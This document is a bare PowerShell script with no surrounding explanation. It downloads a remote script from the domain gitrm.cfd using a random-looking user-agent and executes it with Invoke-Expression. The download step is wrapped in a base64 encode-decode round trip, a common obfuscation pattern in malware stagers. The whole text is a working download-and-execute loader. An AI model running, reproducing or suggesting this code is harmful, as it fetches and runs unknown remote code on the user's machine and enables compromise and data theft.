[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $innerScript = @' $url = "https://gitrm.cfd/apix.ps1" $userAgent = "aizzHkKtfNdzmaycORjfhjDPaNCLVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" $webClient = New-Object System.Net.WebClient $webClient.Headers.Add("User-Agent", $userAgent) $script = $webClient.DownloadString($url) Invoke-Expression $script '@ $encodedCommand = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($innerScript)) $decodedCommand = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encodedCommand)) Invoke-Expression $decodedCommand